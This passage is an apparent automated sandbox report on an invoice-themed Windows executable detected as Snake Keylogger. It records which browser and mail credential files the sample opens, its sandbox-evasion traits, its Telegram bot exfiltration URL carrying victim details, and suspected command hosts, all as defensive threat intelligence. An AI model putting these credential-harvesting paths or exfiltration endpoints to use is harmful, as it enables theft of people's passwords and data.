Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006ED7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	API call chain: ExitProcess graph end node			graph_0-4592
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	API call chain: ExitProcess graph end node			graph_0-4595

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Process created: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_0040604F GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_0040604F

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Wuerth_factura_4052073226..exe PID: 3148, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: Wuerth_factura_4052073226..exe PID: 3148, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Wuerth_factura_4052073226..exe PID: 3148, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Wuerth_factura_4052073226..exe	53%	ReversingLabs	Win32.Spyware.Snakekeylogger
Wuerth_factura_4052073226..exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.206	true	false	unknown
drive.usercontent.google.com	216.58.206.65	true	false	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2019/10/2024%20/%2007:08:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/155.94.241.186	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375F2000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/&	Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EE6000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/=y	Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	Wuerth_factura_4052073226..exe, 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Wuerth_factura_4052073226..exe, 00000000.00000000.2028021606.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000000.2528750158.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20a	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375C1000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375B2000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375F2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/155.94.241.186$	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374BD000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.000000003744D000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374BD000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/:	Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/~	Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EE6000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlBjq	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375BC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/	Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.000000003744D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
142.250.185.206	drive.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
216.58.206.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537095
Start date and time:	2024-10-18 15:03:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Wuerth_factura_4052073226..exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/6@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 170 Number of non-executed functions: 162
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Wuerth_factura_4052073226..exe

Simulations

Behavior and APIs

Time	Type	Description
09:05:09	API Interceptor	484x Sleep call for process: Wuerth_factura_4052073226..exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	checkip.dyndns.org/
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	ACCOUNTXSTATEMENT.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.PWSX-gen.2892.1397.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Bestireno Transformados SL PEDIDO 268884.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ACCOUNT STATEMENT.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://bino8-7920.twil.io/index4.html	Get hash	malicious	Unknown	Browse
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TkCotdLNiu.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lclQ5c10x1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rSvigt.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
188.114.96.3	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DyuQ5y15/download
	zygWTMeQC2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	138231cm.n9shteam.in/CpuApiprotectTemp.php
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	Aunali_khokhawala-In Services.Agreement-SDYAMPA 416944.rtf	Get hash	malicious	EvilProxy, Fake Captcha, HTMLPhisher	Browse	vh26kx.pinboarddisplaced.com/?email=
	SMX-ACH0036173.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.casesrep.site/7z6q/
	http://sss-mmm-yyy.ru/	Get hash	malicious	Unknown	Browse	sss-mmm-yyy.ru/assets/img/emoji/1f1ff-1f1fc.png
	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sirr/five/fre.php
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	863811cm.nyafka.top/video_RequestpacketUpdategeneratorPublic.php
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	NEW CUSTOMER ORDER.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	188.114.96.3
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Dekont-20241017-1100.00EFT-18901459.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	yugozxcvb.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
api.telegram.org	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://bino8-7920.twil.io/index4.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TkCotdLNiu.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lclQ5c10x1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rSvigt.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
checkip.dyndns.com	NEW CUSTOMER ORDER.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	158.101.44.242
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Dekont-20241017-1100.00EFT-18901459.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	yugozxcvb.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://bino8-7920.twil.io/index4.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL AWB - COMMERCIAL INVOICE AND BL.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	RFQ-KTE-07102024.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Request for Q uotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TkCotdLNiu.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lclQ5c10x1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rSvigt.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
UTMEMUS	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	132.226.8.169
	v8AZ8ANS6a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
